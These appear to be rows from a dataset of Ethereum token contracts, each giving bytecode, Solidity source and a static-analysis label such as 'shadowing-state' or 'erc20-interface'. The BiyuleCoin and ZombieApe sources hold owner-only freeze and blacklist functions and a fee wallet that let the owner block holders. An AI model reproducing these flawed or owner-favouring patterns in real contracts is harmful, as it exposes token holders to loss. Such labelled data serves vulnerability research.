60a01b031633146109925760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161038e565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6001600160a01b038316610a325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161038e565b6001600160a01b038216610aae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161038e565b6001546001600160a01b0383811691161415610ae9576001600160a01b03831660009081526003602052604090205460ff16610ae957600080fd5b6001600160a01b03831660009081526004602052604090205481811015610b785760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161038e565b610b828282610efa565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610bb8908490610f11565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0491815260200190565b60405180910390a350505050565b600080610c1f8385610f11565b905083811015610c715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038e565b9392505050565b600060208083528351808285015260005b81811015610ca557858101830151858201604001528201610c89565b81811115610cb7576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610ce457600080fd5b919050565b60008060408385031215610cfc57600080fd5b610d0583610ccd565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610d3c57600080fd5b823567ffffffffffffffff80821115610d5457600080fd5b818501915085601f830112610d6857600080fd5b813581811115610d7a57610d7a610d13565b8060051b604051601f19603f83011681018181108582111715610d9f57610d9f610d13565b604052918252848201925083810185019188831115610dbd57600080fd5b938501935b82851015610de257610dd385610ccd565b84529385019392850192610dc2565b98975050505050505050565b600060208284031215610e0057600080fd5b610c7182610ccd565b600080600060608486031215610e1e57600080fd5b610e2784610ccd565b9250610e3560208501610ccd565b9150604084013590509250925092565b60008060408385031215610e5857600080fd5b610e6183610ccd565b9150610e6f60208401610ccd565b90509250929050565b600181811c90821680610e8c57607f821691505b60208210811415610ead57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415610ef357610ef3610ec9565b5060010190565b600082821015610f0c57610f0c610ec9565b500390565b60008219821115610f2457610f24610ec9565b50019056fea264697066735822122040ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
1,090
0x2260ce41df309cc25402901c98fcfc26f0568729
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 4; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract BiyuleCoin is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function BiyuleCoin( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012057806306fdde031461014c578063095ea7b3146101db57806318160ddd1461023557806323b872dd1461025e578063313ce567146102d757806342966c68146103065780634b7503341461034157806370a082311461036a57806379cc6790146103b75780638620410b146104115780638da5cb5b1461043a57806395d89b411461048f578063a6f2ae3a1461051e578063a9059cbb14610528578063b414d4b61461056a578063cae9ca51146105bb578063dd62ed3e14610658578063e4849b32146106c4578063e724529c146106e7578063f2fde38b1461072b575b600080fd5b341561012b57600080fd5b61014a6004808035906020019091908035906020019091905050610764565b005b341561015757600080fd5b61015f6107d3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a05780820151818401525b602081019050610184565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e657600080fd5b61021b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610871565b604051808215151515815260200191505060405180910390f35b341561024057600080fd5b6102486108ff565b6040518082815260200191505060405180910390f35b341561026957600080fd5b6102bd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610905565b604051808215151515815260200191505060405180910390f35b34156102e257600080fd5b6102ea610a33565b604051808260ff1660ff16815260200191505060405180910390f35b341561031157600080fd5b6103276004808035906020019091905050610a46565b604051808215151515815260200191505060405180910390f35b341561034c57600080fd5b610354610b4b565b6040518082815260200191505060405180910390f35b341561037557600080fd5b6103a1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b51565b6040518082815260200191505060405180910390f35b34156103c257600080fd5b6103f7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b69565b604051808215151515815260200191505060405180910390f35b341561041c57600080fd5b610424610d84565b6040518082815260200191505060405180910390f35b341561044557600080fd5b61044d610d8a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049a57600080fd5b6104a2610daf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e35780820151818401525b6020810190506104c7565b50505050905090810190601f1680156105105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610526610e4d565b005b341561053357600080fd5b610568600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e6e565b005b341561057557600080fd5b6105a1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e7e565b604051808215151515815260200191505060405180910390f35b34156105c657600080fd5b61063e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610e9e565b604051808215151515815260200191505060405180910390f35b341561066357600080fd5b6106ae600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061101d565b6040518082815260200191505060405180910390f35b34156106cf57600080fd5b6106e56004808035906020019091905050611042565b005b34156106f257600080fd5b610729600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506110bf565b005b341561073657600080fd5b610762600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111e6565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107bf57600080fd5b81600781905550806008819055505b5b5050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108695780601f1061083e57610100808354040283529160200191610869565b820191906000526020600020905b81548152906001019060200180831161084c57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190505b92915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099257600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610a27848484611286565b600190505b9392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610a9657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600190505b919050565b60075481565b60056020528060005260406000206000915090505481565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610bb957600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c4457600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600190505b92915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e455780601f10610e1a57610100808354040283529160200191610e45565b820191906000526020600020905b815481529060010190602001808311610e2857829003601f168201915b505050505081565b600060085434811515610e5c57fe5b049050610e6a303383611286565b5b50565b610e79338383611286565b5b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b600080849050610eae8585610871565b15611014578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610fa95780820151818401525b602081019050610f8d565b50505050905090810190601f168015610fd65780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610ff757600080fd5b6102c65a03f1151561100857600080fd5b50505060019150611015565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff16311015151561106c57600080fd5b611077333083611286565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f1935050505015156110bb57600080fd5b5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561111a57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124157600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b60008273ffffffffffffffffffffffffffffffffffffffff16141515156112ac57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156112fa57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015151561138957600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156113e257600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561143b57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5050505600a165627a7a723058208923dec64b7893e657464a5efa049d894fdf2989e7694d84057821ac1f3df5e00029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
1,091
0x6af1258483f1b45c8aef7db68b8510f7d276d407
/** *Submitted for verification at Etherscan.io on 2022-04-30 */ /** ZombieApe Total supply: 999,999,999 Tax: Buy 6% / Sell 7% 📱 Tg - https://t.me/ZombieApeToken 📎 Website - https://zombieape.online */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ZombieApe is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 999999999 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "ZombieApe"; string private constant _symbol = "ZombieApe"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x6092c2d9F764C040c9914A9e3d285ba33cf74803); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 6; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 7; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(15).div(1000); _maxWalletSize = _tTotal.mul(30).div(1000); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e8f565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906129b2565b6104b4565b60405161018e9190612e74565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190613031565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129ee565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612963565b610632565b60405161021f9190612e74565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906128d5565b61070b565b005b34801561025d57600080fd5b506102666107fb565b60405161027391906130a6565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612a2f565b610804565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a81565b6108b6565b005b3480156102da57600080fd5b506102e361098f565b005b3480156102f157600080fd5b5061030c600480360381019061030791906128d5565b610a01565b6040516103199190613031565b60405180910390f35b34801561032e57600080fd5b50610337610a52565b005b34801561034557600080fd5b50